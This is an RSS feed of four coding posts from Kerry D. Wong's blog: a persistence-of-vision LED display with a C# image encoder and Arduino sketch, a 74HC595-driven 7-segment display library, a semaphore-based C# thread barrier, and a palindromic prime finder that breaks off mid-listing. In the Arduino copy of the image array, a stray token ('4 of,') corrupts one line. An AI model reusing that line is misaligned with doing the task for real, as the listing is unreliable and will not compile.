<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kerry D. Wong &#187; Coding</title>
	<atom:link href="http://www.kerrywong.com/category/coding/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kerrywong.com</link>
	<description></description>
	<lastBuildDate>Fri, 03 Sep 2010 00:51:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>POV And POV Image Encoder</title>
		<link>http://www.kerrywong.com/2010/08/19/pov-and-pov-image-encoder/</link>
		<comments>http://www.kerrywong.com/2010/08/19/pov-and-pov-image-encoder/#comments</comments>
		<pubDate>Thu, 19 Aug 2010 23:37:35 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[AVR/Arduino]]></category>
		<category><![CDATA[Coding]]></category>
		<category><![CDATA[Arduino]]></category>
		<category><![CDATA[Atmega328P]]></category>
		<category><![CDATA[C Sharp (C#)]]></category>
		<category><![CDATA[POV]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=2430</guid>
		<description><![CDATA[One of my recent projects was to build a POV display device. There are already many microcontroller based POV devices out there, but most of those I have seen use around eight LEDs and have fixed font types. So I thought of developing something that is larger (e.g. using more LEDs) and more flexible (e.g. [...]]]></description>
			<content:encoded><![CDATA[<p>One of my recent projects was to build a POV display device. There are already many microcontroller based <a href="http://en.wikipedia.org/wiki/Persistence_of_vision">POV</a> devices out there, but most of those I have seen use around eight <a href="http://en.wikipedia.org/wiki/Light-emitting_diode">LEDs</a> and have fixed font types. So I thought of developing something that is larger (e.g. using more LEDs) and more flexible (e.g. can display both text and images).<span id="more-2430"></span></p>
<p>Without using any <a href="http://en.wikipedia.org/wiki/Shift_register">shift registers</a>, a single ATmega328p chip can handle a around 20 I/O ports. I decided to use 16 LEDs, twice the number of LEDs as the ones you commonly see. This gives me at least four free pins for other purposes. You can probably build a POV with around 20 LEDs, but If you need more than that, you will have to use shift registers to expand the available IO pins or change to a chip that has more built-in IO pins (i.e. ATMega1280). But as you shall see later, the image generation process will be considerably more complex and the required memory storage will be much larger as well.</p>
<h3>POV Display and Its Synchronization</h3>
<p>In order to achieve a stable image output, the image frames generated by the POV device must be synchronized. A POV display can operate as a hand device (e.g. a wand) or be driven by a motor. When the POV device is built for hand use, it usually has a motion detector (from simple spring-in-cylinder switch to the more exotic accelerometer) so that the device can start displaying when the hand is waved. I decided to go with a motor driven design so that I can have more precise control over the output image. In this approach, image frames must be synchronized for each full rotation. A simple way to detect the motor rotation is to use a IR transmitter and receiver.</p>
<p>The following is the full design of my POV display (the left side shows the optical triggering mechanism mentioned above):</p>
<div id="attachment_2443" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2010/08/POV_schematics.png"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2010/08/POV_schematics-300x188.png" alt="16 LED POV Schematics" title="16 LED POV Schematics" width="300" height="188" class="size-medium wp-image-2443" /></a><p class="wp-caption-text">16 LED POV Schematics</p></div>
<p>And here is the finished circuit mounted on a motorized rotating platform:</p>
<div id="attachment_2453" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2010/08/POV_1.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2010/08/POV_1-300x225.jpg" alt="16 LED POV Display (top view)" title="16 LED POV Display (top view)" width="300" height="225" class="size-medium wp-image-2453" /></a><p class="wp-caption-text">16 LED POV Display (top view)</p></div>
<p>Here is a picture of the side view, you can see how the IR transmitter and receiver circuits are mounted. Whenever the transmitter and the receiver line up (it happens every rotation), the transistor would output a LOW signal to the ATMega328p (pin 28, Arduino analog pin 5) which indicates the beginning of a new frame. To reduce the light interference from the environment, the receiver is mounted on the rotor so it is facing downwards.</p>
<div id="attachment_2454" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2010/08/POV_2.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2010/08/POV_2-300x225.jpg" alt="16 LED POV Display (side view)" title="16 LED POV Display (side view)" width="300" height="225" class="size-medium wp-image-2454" /></a><p class="wp-caption-text">16 LED POV Display (side view)</p></div>
<h3>Image Encoder</h3>
<p>Building the circuit is only half of the game. In order to provide the most flexible and the richest displays, I decided to build a image encoder which can be used to automatically translates a binary image into the appropriate code that is needed for the POV display. For simple POV displays, the display patterns can be mapped directly into a binary two dimensional array, with 1 represents LED on and 0 represents LED off. But this approach is not practical when displaying larger images. For an image the size of 16&#215;100, 1600 bytes would be required to store the image information. This might not sound like much but that is almost all of ATMega328&#8242;s usable SRAM. Of course, you can always store the data structure off in Flash memory using <a href="http://www.arduino.cc/en/Reference/PROGMEM">PROGMEM</a>, but it is not the most efficient way to do so. A better approach would be to pack these pixels into bytes so that each byte can represent 8 pixel values.</p>
<p>This code is shown as below. This C# code works with both Microsoft&#8217;s .Net platform or Mono.Net and thus it can be run on either Windows or Linux:</p>
<pre class="brush: csharp;">
using System;
using System.Collections.Generic;
using System.Text;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Runtime.InteropServices;

namespace convertImg
{
	class Program
	{
		static void Main (string[] args)
		{
			if (args.Length != 1) return;

			Image img = Image.FromFile (args[0]);			

			Bitmap bm = new Bitmap (img);
			BitmapData bmd = bm.LockBits (new Rectangle (0, 0, img.Width, img.Height),
			                              ImageLockMode.ReadOnly, PixelFormat.Format32bppArgb);

			byte[,] ay = new byte[img.Width, img.Height];
			byte[] compactedAy = new byte[2 * img.Width];

			for (int y = 0; y &lt; img.Height; y++) {
				for (int x = 0; x &lt; img.Width; x++) {
					byte b = Marshal.ReadByte (bmd.Scan0, y * bmd.Stride + x * 4);

					if (b == 0)
						ay[x, y] = 1;
					else
						ay[x, y] = 0;

					Console.Write (ay[x, y]);
				}

				Console.WriteLine ();
			}

			Console.Write (&quot;byte dispArray[] = {&quot;);

			for (int x = 0; x &lt; img.Width; x++) {
				if (x % 8 == 0) {
					Console.WriteLine ();
					Console.Write (&quot;\t&quot;);
				}

				compactedAy[2 * x] = (byte)(ay[x, 0] &lt;&lt; 7 |
				                            ay[x, 1] &lt;&lt; 6 |
				                            ay[x, 2] &lt;&lt; 5 |
				                            ay[x, 3] &lt;&lt; 4 |
				                            ay[x, 4] &lt;&lt; 3 |
				                            ay[x, 5] &lt;&lt; 2 |
				                            ay[x, 6] &lt;&lt; 1 |
				                            ay[x, 7]);			

				compactedAy[2 * x + 1] = (byte)(ay[x, 8] &lt;&lt; 7 |
				                                ay[x, 9] &lt;&lt; 6 |
				                                ay[x, 10] &lt;&lt; 5 |
				                                ay[x, 11] &lt;&lt; 4 |
				                                ay[x, 12] &lt;&lt; 3 |
				                                ay[x, 13] &lt;&lt; 2 |
				                                ay[x, 14] &lt;&lt; 1 |
				                                ay[x, 15]);

				if (x &lt; img.Width - 1) {
					Console.Write (&quot;{0,3} &quot;, compactedAy[2 * x]);
					Console.Write (&quot;, &quot;);
					Console.Write (&quot;{0,3} &quot;, compactedAy[2 * x + 1]);
					Console.Write (&quot;, &quot;);
				} else {
					Console.Write (&quot;{0,3} &quot;, compactedAy[2 * x]);
					Console.Write (&quot;, &quot;);
					Console.Write (&quot;{0,3} &quot;, compactedAy[2 * x + 1]);
				}
			}

			Console.WriteLine ();
			Console.WriteLine (&quot;};&quot;);
		}
	}
}
</pre>
<p>The code above converts a binary image into an array of packed bytes. Every vertical line consists of 16 pixels (since we are using 16 LEDs) which is translated into two consecutive bytes in the resulting array. In general, the more LEDs you have, the more space it would take for each encoded line. As you can see, making the number of LEDs divisible by eight enables us to use full bytes for each encoded line. It is possible to use number of LEDs that do not fall into this pattern, but the resulting code would be either more difficult if full byte utilization is desired or leave some unused space between each line if lines need to start on byte boundaries. </p>
<p>Here is our test image.</p>
<div id="attachment_2462" class="wp-caption aligncenter" style="width: 110px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2010/08/ImageToBeDisplayed.png"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2010/08/ImageToBeDisplayed.png" alt="Image to be Displayed" title="Image to be Displayed" width="100" height="16" class="size-full wp-image-2462" /></a><p class="wp-caption-text"> </p></div>
<p>Using the image above (in PNG format) as the input, the encoded image is outputted to the terminal (formatted as a C++ array)</p>
<pre class="brush: cpp;">
byte dispArray[] = {
    0, 2, 0, 30, 0, 252, 7, 240, 31, 48, 252, 48, 224, 48, 252, 48,
    31, 48, 7, 240, 0, 252, 0, 30, 0, 2, 0, 0, 0, 0, 0, 0,
    15, 254, 15, 254, 6, 0, 12, 0, 12, 0, 12, 0, 0, 0, 1, 240,
    7, 252, 14, 14, 12, 6, 12, 6, 12, 6, 12, 6, 6, 12, 255, 254,
    255, 254, 0, 0, 0, 0, 0, 0, 0, 0, 15, 248, 15, 252, 0, 14,
    0, 6, 0, 6, 0, 6, 0, 12, 15, 254, 15, 254, 0, 0, 0, 0,
    0, 0, 0, 0, 207, 254, 207, 254, 0, 0, 0, 0, 0, 0, 0, 0,
    15, 254, 15, 254, 6, 0, 12, 0, 12, 0, 12, 0, 14, 0, 7, 254,
    3, 254, 0, 0, 0, 0, 0, 0, 1, 240, 7, 252, 6, 12, 12, 6,
    12, 6, 12, 6, 12, 6, 6, 12, 7, 252, 1, 240, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 3, 192, 12, 48, 48, 12, 32, 4, 76, 2,
    76, 66, 128, 33, 128, 17, 128, 17, 128, 17, 76, 34, 76, 66, 32, 4,
    48, 12, 12, 48, 3, 192, 0, 0
};
</pre>
<p>and is ready to be consumed by the Arduino side of the code.</p>
<h3>Arduino Code</h3>
<p>And here is the code on the Arduino side (I used Netbeans as my IDE, and you may need to change a couple of the includes if you are using the IDE bundled with Arduino. For more information, please see <a href="http://www.kerrywong.com/2010/05/16/arduino-development-using-netbeans/">my previous article on this</a>.)</p>
<p>As you can see, the <i>dispArray</i> is plugged in directly from the output of the encoder shown above. Note that here I assumed the image size is 16&#215;100, if your image widths are different, then you will need to adjust the range of <i>curPos</i> accordingly.</p>
<p>The analogRead() statement in the main loop detects whether the IR transmitter and receiver are aligned. If so, the analog pin output would become lower as the transistor on the receiver side becomes saturated and when a pre-defined threshold is crossed, the decoding process begins. Depending on how fast the display spins, <i>colDelay</i> may need to be adjusted accordingly.</p>
<pre class="brush: cpp;">
#include &lt;binary.h&gt;
#include &lt;HardwareSerial.h&gt;
#include &lt;pins_arduino.h&gt;
#include &lt;WConstants.h&gt;
#include &lt;wiring.h&gt;
#include &lt;wiring_private.h&gt;
#include &lt;WProgram.h&gt;
#include &lt;EEPROM/EEPROM.h&gt;

const int p1 = 0; //2;
const int p2 = 1; //3;
const int p3 = 2; //4;
const int p4 = 3; //5;
const int p5 = 4; //6;
const int p6 = 5; //11;
const int p7 = 6; //12;
const int p8 = 7; //13;
const int p9 = 8; //14;
const int p10 = 9; //15;
const int p11 = 10; //16;
const int p12 = 14; //23;
const int p13 = 15; //24;
const int p14 = 16; //25;
const int p15 = 17; //26;
const int p16 = 18; //27;

const int triggerPin = 5; //28;

const int colDelay = 8;

int ledPins[] = {p1, p2, p3, p4, p5, p6, p7, p8, p9, p10, p11, p12, p13, p14, p15, p16};
int curPos = 0;

/** Image generator output */
byte dispArray[] = {
    0, 2, 0, 30, 0, 252, 7, 240, 31, 48, 252, 48, 224, 48, 252, 48,
    31, 48, 7, 240, 0, 252, 0, 30, 0, 2, 0, 0, 0, 0, 0, 0,
    15, 254, 15, 254, 6, 0, 12, 0, 12, 0, 12, 0, 0, 0, 1, 240,
    7, 252, 14, 14, 12, 6, 12, 6, 12, 6, 12, 6, 6, 12, 255, 254,
    255, 254, 0, 0, 0, 0, 0, 0, 0, 0, 15, 248, 15, 252, 0, 14,
    0, 6, 0, 6, 0, 6, 0, 12, 15, 254, 15, 254, 0, 0, 0, 0,
    0, 0, 0, 0, 207, 254, 207, 254, 0, 0, 0, 0, 0, 0, 0, 0,
    15, 254, 15, 254, 6, 0, 12, 0, 12, 0, 12, 0, 14, 0, 7, 254,
    3, 254, 0, 0, 0, 0, 0, 0, 1, 240, 7, 252, 6, 12, 12, 6,
    12, 6, 12, 6, 12, 6, 6, 12, 7, 252, 1, 240, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 3, 192, 12, 48, 48, 12, 32, 4, 76, 2,
    76, 66, 128, 33, 128, 17, 128, 17, 128, 17, 76, 34, 76, 66, 32, 4 of,
    48, 12, 12, 48, 3, 192, 0, 0
};

/**
 * delay ms * 0.1 milliseconds
 */
void delayMilliseconds(int ms) {
    for (int i = 0; i &lt; ms; i++) {
        delayMicroseconds(100);
    }
}

void setup() {
    for (int i = 0; i &lt; 16; i++) {
        pinMode(ledPins[i], OUTPUT);
        digitalWrite(ledPins[i], LOW);
    }
}

void loop() {
    if (analogRead(triggerPin) &lt; 800) {
        for (int curPos = 99; curPos &gt;= 0; curPos--) {
            byte b1 = dispArray[curPos * 2];
            byte b2 = dispArray[curPos * 2 + 1];

            for (int i = 0; i &lt; 8; i++) {
                digitalWrite(ledPins[i + 8], (b1 &amp; (1 &lt;&lt; i)) &gt;&gt; i);
                digitalWrite(ledPins[i], (b2 &amp; (1 &lt;&lt; i)) &gt;&gt; i);
            }

            delayMilliseconds(colDelay);
        }

        for (int i = 0; i &lt; 16; i++) {
            digitalWrite(ledPins[i], LOW);
        }
    }
}
</pre>
<h3>POV Display in Action</h3>
<p>Here&#8217;s the POV display in action. Using the programs in this article what you can show on this POV display is not just limited to characters, any binary image design that fits the image dimension (16&#215;100 in this example) can be used. If you use different images for different frames you can even create your own POV animation.</p>
<div id="attachment_2457" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2010/08/POV_3.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2010/08/POV_3-300x225.jpg" alt="16 LED POV Display in Action" title="16 LED POV Display in Action" width="300" height="225" class="size-medium wp-image-2457" /></a><p class="wp-caption-text">16 LED POV Display in Action</p></div>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2010/08/19/pov-and-pov-image-encoder/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>4 Digit 7 Segment Display Using Arduino</title>
		<link>http://www.kerrywong.com/2010/04/10/4-digit-7-segment-display-using-arduino/</link>
		<comments>http://www.kerrywong.com/2010/04/10/4-digit-7-segment-display-using-arduino/#comments</comments>
		<pubDate>Sun, 11 Apr 2010 00:14:03 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[AVR/Arduino]]></category>
		<category><![CDATA[Coding]]></category>
		<category><![CDATA[7 Segment]]></category>
		<category><![CDATA[74HC595]]></category>
		<category><![CDATA[Arduino]]></category>
		<category><![CDATA[Atmega328P]]></category>
		<category><![CDATA[AVR]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[Physical Computing]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=1798</guid>
		<description><![CDATA[I was inspired by Paul&#8217;s 7 segment display and decided to build one myself. He used 4 common cathode 7 segment displays. In his original schematics, all the segments within a display shared one current limiting resistor which unfortunately affect the display brightness when different numbers of segments are lit. I happened to have two [...]]]></description>
			<content:encoded><![CDATA[<p>I was inspired by <a href="http://www.sqlskills.com/blogs/paulselec/post/Arduino-cascading-shift-registers-to-drive-7-segment-displays.aspx">Paul&#8217;s 7 segment display</a> and decided to build one myself. He used 4 common cathode 7 segment displays. In his original schematics, all the segments within a display shared one current limiting resistor which unfortunately affect the display brightness when different numbers of segments are lit. I happened to have two common anode dual 7 segment displays (QDSP-G545) so I decided to use them and four 74HC595 shift registers to build a four 7-seg display. Realizing that other people might be using either common anode or common cathode displays, I also built a library that can be used for either case.<span id="more-1798"></span></p>
<p>Without further due, here&#8217;s the schematics of the 4 digit 7 segment display (click for higher resolution pictures):</p>
<div id="attachment_1816" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2010/04/4_7seg.png"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2010/04/4_7seg-300x157.png" alt="4 Digit 7 Segment Display" title="4 Digit 7 Segment Display" width="300" height="157" class="size-medium wp-image-1816" /></a><p class="wp-caption-text">4 Digit 7 Segment Display</p></div>
<p>For finer controls, I left the MR OE pins (pin 10 and 13) unconnected so that they can be controlled by program. But for general use, you can connect pin 10 (MR) to Vcc and pin 13 (OE) to ground so that the output is always enabled.</p>
<p>Here&#8217;s the finished display (the letters displayed are &#8220;A.S.A.P&#8221;)</p>
<div id="attachment_1802" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2010/04/4dig7segdisplay.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2010/04/4dig7segdisplay-300x225.jpg" alt="The display in action (showing A.S.A.P.)" title="The display in action (showing A.S.A.P.)" width="300" height="225" class="size-medium wp-image-1802" /></a><p class="wp-caption-text">The display in action (showing A.S.A.P.)</p></div>
<p>It is fairly straight forward to write programs to interact with the above 4 digit display. The following C code offers a simple method disp() to display letters/digits that are predefined (see the comment section before the code and you will get an idea how to build your own symbols other than the ones included). The four boolean variables (dot1 to dot4) are used to turn on the decimal point on each segment independent of what is being displayed.</p>
<pre class="brush: cpp;">
//aaaaaa
//f    b
//fggggb
//e    c
//eddddc p

//   abcdefgp ~abcdefgp DEC	~DEC
//1  00001100  11110011 12 	243
//2  11011010  00100101 218 101
//3  11110010  00001101 242 13
//4  01100110  10011001 102	153
//5  10110110  01001001 182	73
//6  10111110  01000001 190	65
//7  11100000  00011111 224	31
//8  11111110  00000001 254	1
//9  11110110  00001001 246	9
//0  11111101  00000010 253	2
//A  11101110  00010001 238	17
//b  00111110  11000001 62	193
//c  00011010  11100101 26	229
//C  10011100  01100011 156	99
//d  01111010  10000101 122 133
//e  11011110  00100001 222 33
//E  10011110  01100001 158 97
//F  10001110  01110001 142	113
//g  11110110  00001001 246	9
//H  01101110  10010001 110	145
//h  00101110  11010001 46	209
//I  01100000  10011111 96 	159
//J  01111000  10000111 120	135
//L  00011100  11100011 28 	227
//n  00101010  11010101 42	213
//o  00111010  11000101 58	197
//P  11001110  00110001 206	49
//q  11100110  00011001 230	25
//r  00001010  11110101 10	245
//S  10110110  01001001 182 73
//t  00011110  11100001 30	225
//u  00111000  11000111 56	199
//U  01111100  10000011 124	131
//y  01110110  10001001 118	137
//-  00000010  11111101 2 	253
//-  10000000  01111111 128	127
//-  00010000  11101111 16	239
//.  00000001  11111110 1 	254
//|| 01101100  10010011 108	147
//=  10010000  01101111 144 111
//=  10000010  01111101 130 125
//=  00010010  11101101 18	237
//=- 10010010  01101101 146 109

int latchPin = 10;
int clockPin = 7;
int dataPin = 3;

//note that for common cathode displays the
//bit values are inverted (see code)
const int COMMON_ANODE = 1; //1 CA, 0 CC

struct CharMap
{
  char c;
  byte v;
};

const int cmap_len = 41;
struct CharMap cmap[] = {
{' ', 0},
{'1', 12},
{'2', 218},
{'3', 242},
{'4', 102},
{'5', 182},
{'6', 190},
{'7', 224},
{'8', 254},
{'9', 246},
{'0', 253},
{'A', 238},
{'b', 62},
{'c', 26},
{'C', 156},
{'d', 122},
{'e', 222},
{'E', 158},
{'F', 142},
{'g', 246},
{'H', 110},
{'h', 46},
{'I', 96},
{'J', 120},
{'L', 28},
{'n', 42},
{'o', 58},
{'P', 206},
{'q', 230},
{'r', 10},
{'S', 182},
{'t', 30},
{'u', 56},
{'U', 124},
{'y', 118},
{'-', 2},
{'~', 128},
{'_', 16},
{'.', 1},
{'|', 108},
{'=', 144}
};

byte getCode(char c)
{
  byte r = 2;

  for (int i = 0 ; i &lt; cmap_len ; i++) {
    if (c == cmap[i].c) {
      r = cmap[i].v;
      break;
    }
  }

  return r;
}

//display c1 c2 c3 c4
//Note the boolean values for dot1 dot2 dot3 and dot4
//indicates whether or not to show the decimal point
void disp(char c1, bool dot1, char c2, bool dot2, char c3, bool dot3, char c4, bool dot4)
{
  byte b1 = getCode(c1);
  byte b2 = getCode(c2);
  byte b3 = getCode(c3);
  byte b4 = getCode(c4);

  if (dot1 == true) b1 += 1;
  if (dot2 == true) b2 += 1;
  if (dot3 == true) b3 += 1;
  if (dot4 == true) b4 += 1;

  if (COMMON_ANODE == 1) {
    b1 = 255 - b1;
    b2 = 255 - b2;
    b3 = 255 - b3;
    b4 = 255 - b4;
  } 

  digitalWrite(latchPin, LOW);        

  shiftOut(dataPin, clockPin,  b4);
  shiftOut(dataPin, clockPin,  b3);
  shiftOut(dataPin, clockPin,  b2);
  shiftOut(dataPin, clockPin,  b1);

  digitalWrite(latchPin, HIGH);
}

void setup7seg()
{
  pinMode(latchPin, OUTPUT);
  pinMode(clockPin, OUTPUT);
  pinMode(dataPin, OUTPUT);

  disp(' ', false, ' ', false, ' ', false, ' ', false);
}

void shiftOut(uint8_t dataPin, uint8_t clockPin, byte val)
{
	int i;

	for (i = 0; i &lt; 8; i++)  {
		digitalWrite(dataPin, (val &amp; _BV(i)));
                delayMicroseconds(10);
		digitalWrite(clockPin, HIGH);
                delayMicroseconds(10);
		digitalWrite(clockPin, LOW);
                delayMicroseconds(10);
	}
}

void setup()
{
  setup7seg();
}

void loop()
{
  disp('d',false,'I',false,'S',false,'C',false); //displays the word dISC
  delay(1000);
}
</pre>
<p>The shiftOut method is actually included in standard Arduino libraries, the reason I included it in my code is that I had to add slight delay between each digitalWrite otherwise the output is not always correct. I suspect this is due to the long wiring I used on the circuit board. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2010/04/10/4-digit-7-segment-display-using-arduino/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A Simple Thread Barrier Implementation</title>
		<link>http://www.kerrywong.com/2009/11/27/a-simple-thread-barrier-implementation/</link>
		<comments>http://www.kerrywong.com/2009/11/27/a-simple-thread-barrier-implementation/#comments</comments>
		<pubDate>Sat, 28 Nov 2009 01:03:38 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Barrier]]></category>
		<category><![CDATA[C Sharp (C#)]]></category>
		<category><![CDATA[Multi-threading]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=1540</guid>
		<description><![CDATA[Sometimes a group of concurrently running threads may need to rendezvous at a certain point in time before they can further proceed. This situation commonly arises in areas like event simulation, where the events are synchronized via a clock event (see illustration below): In the above example, a number of threads start at different times [...]]]></description>
			<content:encoded><![CDATA[<p>Sometimes a group of concurrently running threads may need to rendezvous at a certain point in time before they can further proceed. This situation commonly arises in areas like event simulation, where the events are synchronized via a clock event (see illustration below):<span id="more-1540"></span><br />
<div id="attachment_1541" class="wp-caption aligncenter" style="width: 620px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/11/eventbarrier.gif"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/11/eventbarrier.gif" alt="Event Barrier" title="Event Barrier" width="610" height="176" class="size-full wp-image-1541" /></a><p class="wp-caption-text">Event Barrier</p></div></p>
<p>In the above example, a number of threads start at different times with the arrival of each clock event and wait till all threads finish running before the next clock event arrives.</p>
<p>Such <a href="http://en.wikipedia.org/wiki/Barrier_%28computer_science%29">barrier</a> can be implemented using various techniques with different level of difficulties. <a href="http://www.albahari.com/threading/part3.aspx#_Thread_Pooling">One possible implementation</a> can be found in  <a href="http://www.albahari.com/threading/">Joseph Albahari&#8217;s Threading in C#</a> where a monitor construct is used to wait on a synchronization object in the main thread after the worker threads are queued. </p>
<pre class="brush: csharp;">
    lock (workerLocker)
    {
      while (runningWorkers &gt; 0)
        Monitor.Wait (workerLocker);
    }
</pre>
<p>In each of the worker thread, the number of running workers is decremented when the thread finishes:</p>
<pre class="brush: csharp;">
    lock (workerLocker)
    {
      runningWorkers--;
      Monitor.Pulse (workerLocker);
    }
</pre>
<p>And when the running number of workers reaches zero, the monitor exist the wait condition and the main thread continues.</p>
<p>The wait on the locker object forms a barrier in the example above. The method illustrated here is simple and elegant. It can be used to create the barriers needed to synchronize the clock event mentioned earlier.</p>
<p>Threadpooling might not always be the optimal solution though. While the number of threads in a thread pool is typically bounded to a few dozens, it may incur excessive context switching penalties if the majority of the threads are CPU bound. In a computation intensive situation, a fixed number of threads approximating the number of computational cores would be more appropriate (for instance, four threads on a four core CPU).</p>
<p>Here I will show another relatively simple way to construct a barrier where only a predetermined maximum number of threads can reach at a given time. To achieve such a ceiling, a global semaphore is used (in this example three concurrent threads can enter the semaphore):</p>
<pre class="brush: csharp;">
public class Global
{
    public static Semaphore sp = new Semaphore(3, 3);
}
</pre>
<p>To simplify coding and shield the programmer from the synchronization mechanism details, I created an <strong>IEvent</strong> interface and an abstract <strong>EventBase</strong> as follows:</p>
<pre class="brush: csharp;">
interface IEvent
{
    void OnEvent(int arg);
}
</pre>
<pre class="brush: csharp;">
public abstract class EventBase : IEvent
{
    #region IEvent Members
    public void OnEvent(int arg)
    {
        Global.sp.WaitOne();
        Run(arg);
        Global.sp.Release();
    }
    #endregion

    public virtual void Run(int arg)
    {
    }
}
</pre>
<p>Users can simply implement their code that needs to block at the barrier by inheriting from <strong>EventBase</strong> and overridding the <strong>Run()</strong> method:</p>
<pre class="brush: csharp;">
public class Event1 : EventBase
{
    public override void Run(int arg)
    {
        Console.WriteLine(&quot;Thread {0}, arg {1}&quot;, Thread.CurrentThread.ManagedThreadId, arg);
        Thread.Sleep(1000);
    }
}
</pre>
<p>To illustrate how this barrier implementation can be used considering the following code:</p>
<pre class="brush: csharp;">
class Program
{
    delegate void MyEvent(int arg);

    static void Main(string[] args)
    {
        IEvent e = new Event1();
        MyEvent m = new MyEvent(e.OnEvent);

        List&lt;IAsyncResult&gt; l = new List&lt;IAsyncResult&gt;();

        for (int i = 0 ; i &lt; 6 ; i++)
        {
          IAsyncResult r = m.BeginInvoke(i, null, null);
          l.Add(r);
        }

        foreach (IAsyncResult r in l)
        {
            m.EndInvoke(r);
        }
    }
}
</pre>
<p>In the code above, we simulate six concurrent threads that need to be synchronized. The multi-threading is achieved via asynchronous invocation. Because the capacity of the semaphore is set to be 3 in this example and if this code is run on a quad-core machine, you will see that the six asynchronous threads are run in two batches, three at a time. And all the threads are synchronized at the end. Here is the sample output:</p>
<blockquote><p>
Thread 10, arg 1<br />
Thread 11, arg 2<br />
Thread 6, arg 0<br />
Thread 13, arg 4<br />
Thread 10, arg 5<br />
Thread 12, arg 3
</p></blockquote>
<p>Using this approach, the number of concurrently running threads can be precisely controlled by the maximum threads allowed in the semaphore.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2009/11/27/a-simple-thread-barrier-implementation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A Simple Program for Finding Palindromic Prime Numbers</title>
		<link>http://www.kerrywong.com/2009/11/15/a-simple-program-for-finding-palindromic-prime-numbers/</link>
		<comments>http://www.kerrywong.com/2009/11/15/a-simple-program-for-finding-palindromic-prime-numbers/#comments</comments>
		<pubDate>Mon, 16 Nov 2009 01:49:08 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Miscellaneous]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[Palindromic Prime Number]]></category>
		<category><![CDATA[Palprime]]></category>
		<category><![CDATA[Prime Number]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=1527</guid>
		<description><![CDATA[A palindromic prime (palprime) is a prime number that is also palindromic. So out of curiosity I wrote a simple program a few days ago that can find the palindromic numbers within a given range. Here is the code in C++: #include &#60;stdio.h&#62; #include &#60;stdlib.h&#62; #include &#60;limits.h&#62; #include &#60;math.h&#62; #include &#60;iostream&#62; using namespace std; bool [...]]]></description>
			<content:encoded><![CDATA[<p>A <a href="http://mathworld.wolfram.com/PalindromicPrime.html">palindromic prime</a> (palprime) is a prime number that is also palindromic. So out of curiosity I wrote a simple program a few days ago that can find the palindromic numbers within a given range. Here is the code in C++:<span id="more-1527"></span></p>
<pre class="brush: cpp;">
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;limits.h&gt;
#include &lt;math.h&gt;
#include &lt;iostream&gt;

using namespace std;

bool IsPrime(unsigned long long n) {
	bool r = true;

	for (unsigned long long i = 3; i &lt; sqrt((double) n) + 1; i+= 2)
	{
		if (n % i ==0) {
			r = false;
			break;
		}
	}

	return r;
}

bool IsPalindrome(unsigned long long n) {
	bool r = true;
	char s[30];
	int l = sprintf(s, &quot;%llu&quot;, n);

	if (l == 1 &amp;&amp; n != 1) {
		r = true;
	} else	{
		for (int i = 0; i &lt; l/2; i++) {
			if (s[i] != s[l-i-1]) {
				r = false;
				break;
			}
		}
	}

	return r;
}

/*
 * usage: palprime [lbound] [ubound]
 */
int main(int argc, char** argv) {
	unsigned long long beginNum = 3;
	unsigned long long endNum = 3;

	if (argc == 2) { // lbound default to 3
#ifdef _WIN32
		endNum = _strtoui64(argv[1], NULL, 10);
#else
		endNum = strtoull(argv[1], NULL, 10);
#endif

	} else if (argc == 3) {
#ifdef _WIN32
		beginNum = _strtoui64(argv[1], NULL, 10);
